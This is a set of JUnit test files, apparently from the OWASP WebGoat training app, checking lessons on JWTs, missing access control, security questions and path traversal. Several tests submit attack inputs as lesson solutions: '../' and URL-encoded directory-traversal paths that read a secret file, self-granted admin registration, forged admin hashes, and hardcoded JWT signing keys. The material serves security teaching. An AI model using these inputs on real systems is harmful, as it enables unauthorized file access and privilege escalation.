* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.jwt;
|
||||
|
||||
import io.jsonwebtoken.Claims;
|
||||
import io.jsonwebtoken.JwsHeader;
|
||||
import io.jsonwebtoken.Jwt;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import io.jsonwebtoken.SigningKeyResolverAdapter;
|
||||
import io.jsonwebtoken.impl.TextCodec;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.time.Duration;
|
||||
import java.time.Instant;
|
||||
import java.util.Date;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
|
||||
@Slf4j
|
||||
public class TokenTest {
|
||||
|
||||
@Test
|
||||
public void test() {
|
||||
String key = "qwertyqwerty1234";
|
||||
Map<String, Object> claims = Map.of("username", "Jerry", "aud", "webgoat.org", "email", "jerry@webgoat.com");
|
||||
String token = Jwts.builder()
|
||||
.setHeaderParam("kid", "webgoat_key")
|
||||
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
|
||||
.setClaims(claims)
|
||||
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key).compact();
|
||||
log.debug(token);
|
||||
Jwt jwt = Jwts.parser().setSigningKey("qwertyqwerty1234").parse(token);
|
||||
jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
|
||||
@Override
|
||||
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
|
||||
return TextCodec.BASE64.decode(key);
|
||||
}
|
||||
}).parse(token);
|
||||
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testRefresh() {
|
||||
Instant now = Instant.now(); //current date
|
||||
Claims claims = Jwts.claims().setIssuedAt(Date.from(now.minus(Duration.ofDays(10))));
|
||||
claims.setExpiration(Date.from(now.minus(Duration.ofDays(9))));
|
||||
claims.put("admin", "false");
|
||||
claims.put("user", "Tom");
|
||||
String token = Jwts.builder().setClaims(claims)
|
||||
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, "bm5n3SkxCX4kKRy4")
|
||||
.compact();
|
||||
log.debug(token);
|
||||
}
|
||||
}
|
@ -0,0 +1,45 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.missing_ac;
|
||||
|
||||
import org.assertj.core.api.Assertions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.lessons.missing_ac.DisplayUser;
|
||||
import org.owasp.webgoat.lessons.missing_ac.User;
|
||||
|
||||
import static org.owasp.webgoat.lessons.missing_ac.MissingFunctionAC.PASSWORD_SALT_SIMPLE;
|
||||
|
||||
class DisplayUserTest {
|
||||
|
||||
@Test
|
||||
void testDisplayUserCreation() {
|
||||
DisplayUser displayUser = new DisplayUser(new User("user1", "password1", true), PASSWORD_SALT_SIMPLE);
|
||||
Assertions.assertThat(displayUser.isAdmin()).isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
void testDisplayUserHash() {
|
||||
DisplayUser displayUser = new DisplayUser(new User("user1", "password1", false), PASSWORD_SALT_SIMPLE);
|
||||
Assertions.assertThat(displayUser.getUserHash()).isEqualTo("cplTjehjI/e5ajqTxWaXhU5NW9UotJfXj+gcbPvfWWc=");
|
||||
}
|
||||
}
|
@ -0,0 +1,76 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.missing_ac;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
public class MissingFunctionACHiddenMenusTest extends AssignmentEndpointTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
MissingFunctionACHiddenMenus hiddenMenus = new MissingFunctionACHiddenMenus();
|
||||
init(hiddenMenus);
|
||||
this.mockMvc = standaloneSetup(hiddenMenus).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void HiddenMenusSuccess() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/hidden-menu")
|
||||
.param("hiddenMenu1", "Users")
|
||||
.param("hiddenMenu2", "Config"))
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("access-control.hidden-menus.success"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void HiddenMenusClose() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/hidden-menu")
|
||||
.param("hiddenMenu1", "Config")
|
||||
.param("hiddenMenu2", "Users"))
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("access-control.hidden-menus.close"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void HiddenMenusFailure() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/hidden-menu")
|
||||
.param("hiddenMenu1", "Foo")
|
||||
.param("hiddenMenu2", "Bar"))
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(pluginMessages.getMessage("access-control.hidden-menus.failure"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,72 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.missing_ac;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.missing_ac.MissingFunctionAC;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.hasSize;
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
class MissingFunctionACUsersTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new MissingFunctionAC());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
void getUsers() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/access-control/users")
|
||||
.header("Content-type", "application/json"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$[0].username", CoreMatchers.is("Tom")))
|
||||
.andExpect(jsonPath("$[0].userHash", CoreMatchers.is("Mydnhcy00j2b0m6SjmPz6PUxF9WIeO7tzm665GiZWCo=")))
|
||||
.andExpect(jsonPath("$[0].admin", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
void addUser() throws Exception {
|
||||
var user = """
|
||||
{"username":"newUser","password":"newUser12","admin": "true"}
|
||||
""";
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/users")
|
||||
.header("Content-type", "application/json").content(user))
|
||||
.andExpect(status().isOk());
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.get("/access-control/users")
|
||||
.header("Content-type", "application/json"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.size()", is(4)));
|
||||
}
|
||||
}
|
@ -0,0 +1,44 @@
|
||||
package org.owasp.webgoat.lessons.missing_ac;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.missing_ac.DisplayUser;
|
||||
import org.owasp.webgoat.lessons.missing_ac.MissingFunctionAC;
|
||||
import org.owasp.webgoat.lessons.missing_ac.User;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.owasp.webgoat.lessons.missing_ac.MissingFunctionAC.PASSWORD_SALT_ADMIN;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
class MissingFunctionACYourHashAdminTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new MissingFunctionAC());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
void solve() throws Exception {
|
||||
var userHash = new DisplayUser(new User("Jerry", "doesnotreallymatter", true), PASSWORD_SALT_ADMIN).getUserHash();
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash-fix")
|
||||
.param("userHash", userHash))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("Congrats! You really succeeded when you added the user.")))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
void wrongUserHash() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash-fix")
|
||||
.param("userHash", "wrong"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
}
|
@ -0,0 +1,61 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.missing_ac;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.missing_ac.MissingFunctionAC;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
class MissingFunctionYourHashTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new MissingFunctionAC());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
void hashDoesNotMatch() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
|
||||
.param("userHash", "42"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
void hashMatches() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/access-control/user-hash")
|
||||
.param("userHash", "SVtOlaa+ER+w2eoIIVE5/77umvhcsh5V8UyDLUa1Itg="))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
}
|
@ -0,0 +1,83 @@
|
||||
package org.owasp.webgoat.lessons.password_reset;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.springframework.mock.web.MockHttpSession;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
@ExtendWith(SpringExtension.class)
|
||||
public class SecurityQuestionAssignmentTest extends LessonTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new PasswordReset());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void oneQuestionShouldNotSolveTheAssignment() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
|
||||
.param("question", "What is your favorite animal?"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("password-questions-one-successful"))))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)))
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.notNullValue()));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void twoQuestionsShouldSolveTheAssignment() throws Exception {
|
||||
MockHttpSession mocksession = new MockHttpSession();
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
|
||||
.param("question", "What is your favorite animal?").session(mocksession))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
|
||||
.param("question", "In what year was your mother born?").session(mocksession))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))))
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.notNullValue()))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void answeringSameQuestionTwiceShouldNotSolveAssignment() throws Exception {
|
||||
MockHttpSession mocksession = new MockHttpSession();
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
|
||||
.param("question", "What is your favorite animal?").session(mocksession))
|
||||
.andExpect(status().isOk());
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
|
||||
.param("question", "What is your favorite animal?").session(mocksession))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("password-questions-one-successful"))))
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.notNullValue()))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solvingForOneUserDoesNotSolveForOtherUser() throws Exception {
|
||||
MockHttpSession mocksession = new MockHttpSession();
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
|
||||
.param("question", "What is your favorite animal?").session(mocksession));
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
|
||||
.param("question", "In what year was your mother born?").session(mocksession))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
|
||||
MockHttpSession mocksession2 = new MockHttpSession();
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/PasswordReset/SecurityQuestions")
|
||||
.param("question", "What is your favorite animal?").session(mocksession2)).
|
||||
andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
}
|
@ -0,0 +1,55 @@
|
||||
package org.owasp.webgoat.lessons.path_traversal;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mockito;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.path_traversal.PathTraversal;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.mock.web.MockMultipartFile;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class ProfileUploadFixTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
Mockito.when(webSession.getCurrentLesson()).thenReturn(new PathTraversal());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
Mockito.when(webSession.getUserName()).thenReturn("unit-test");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solve() throws Exception {
|
||||
var profilePicture = new MockMultipartFile("uploadedFileFix", "../picture.jpg", "text/plain", "an image".getBytes());
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload-fix")
|
||||
.file(profilePicture)
|
||||
.param("fullNameFix", "..././John Doe"))
|
||||
.andExpect(status().is(200))
|
||||
.andExpect(jsonPath("$.assignment", CoreMatchers.equalTo("ProfileUploadFix")))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void normalUpdate() throws Exception {
|
||||
var profilePicture = new MockMultipartFile("uploadedFileFix", "picture.jpg", "text/plain", "an image".getBytes());
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload-fix")
|
||||
.file(profilePicture)
|
||||
.param("fullNameFix", "John Doe"))
|
||||
.andExpect(status().is(200))
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("unit-test\\"+File.separator+"John Doe")))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
|
||||
}
|
@ -0,0 +1,54 @@
|
||||
package org.owasp.webgoat.lessons.path_traversal;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mockito;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.path_traversal.PathTraversal;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.mock.web.MockMultipartFile;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class ProfileUploadRemoveUserInputTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
Mockito.when(webSession.getCurrentLesson()).thenReturn(new PathTraversal());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
Mockito.when(webSession.getUserName()).thenReturn("unit-test");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solve() throws Exception {
|
||||
var profilePicture = new MockMultipartFile("uploadedFileRemoveUserInput", "../picture.jpg", "text/plain", "an image".getBytes());
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload-remove-user-input")
|
||||
.file(profilePicture)
|
||||
.param("fullNameFix", "John Doe"))
|
||||
.andExpect(status().is(200))
|
||||
.andExpect(jsonPath("$.assignment", CoreMatchers.equalTo("ProfileUploadRemoveUserInput")))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void normalUpdate() throws Exception {
|
||||
var profilePicture = new MockMultipartFile("uploadedFileRemoveUserInput", "picture.jpg", "text/plain", "an image".getBytes());
|
||||
|
||||
mockMvc.perform(MockMvcRequestBuilders.multipart("/PathTraversal/profile-upload-remove-user-input")
|
||||
.file(profilePicture)
|
||||
.param("fullNameFix", "John Doe"))
|
||||
.andExpect(status().is(200))
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.containsString("unit-test\\"+File.separator+"picture.jpg")))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,82 @@
|
||||
package org.owasp.webgoat.lessons.path_traversal;
|
||||
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mockito;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.path_traversal.PathTraversal;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.security.core.token.Sha512DigestUtils;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.io.File;
|
||||
import java.net.URI;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.equalTo;
|
||||
import static org.hamcrest.CoreMatchers.is;
|
||||
import static org.hamcrest.Matchers.containsString;
|
||||
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
|
||||
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.header;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
public class ProfileUploadRetrievalTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
Mockito.when(webSession.getCurrentLesson()).thenReturn(new PathTraversal());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
Mockito.when(webSession.getUserName()).thenReturn("unit-test");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solve() throws Exception {
|
||||
//Look at the response
|
||||
mockMvc.perform(get("/PathTraversal/random-picture"))
|
||||
.andExpect(status().is(200))
|
||||
.andExpect(header().exists("Location"))
|
||||
.andExpect(header().string("Location", containsString("?id=")))
|
||||
.andExpect(content().contentTypeCompatibleWith(MediaType.IMAGE_JPEG));
|
||||
|
||||
//Browse the directories
|
||||
var uri = new URI("/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2F");
|
||||
mockMvc.perform(get(uri))
|
||||
.andExpect(status().is(404))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(content().string(containsString("path-traversal-secret.jpg")));
|
||||
|
||||
//Retrieve the secret file (note: .jpg is added by the server)
|
||||
uri = new URI("/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret");
|
||||
mockMvc.perform(get(uri))
|
||||
.andExpect(status().is(200))
|
||||
.andExpect(content().string("You found it submit the SHA-512 hash of your username as answer"))
|
||||
.andExpect(content().contentTypeCompatibleWith(MediaType.IMAGE_JPEG));
|
||||
|
||||
//Post flag
|
||||
mockMvc.perform(post("/PathTraversal/random").param("secret", Sha512DigestUtils.shaHex("unit-test")))
|
||||
.andExpect(status().is(200))
|
||||
.andExpect(jsonPath("$.assignment", equalTo("ProfileUploadRetrieval")))
|
||||
.andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void shouldReceiveRandomPicture() throws Exception {
|
||||
mockMvc.perform(get("/PathTraversal/random-picture"))
|
||||
.andExpect(status().is(200))
|
||||
.andExpect(header().exists("Location"))
|
||||
.andExpect(content().contentTypeCompatibleWith(MediaType.IMAGE_JPEG));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void unknownFileShouldGiveDirectoryContents() throws Exception {
|
||||
mockMvc.perform(get("/PathTraversal/random-picture?id=test"))
|
||||
.andExpect(status().is(404))
|
||||
.andExpect(content().string(containsString("cats" + File.separator + "8.jpg")));
|
||||
}
|
||||
}
|
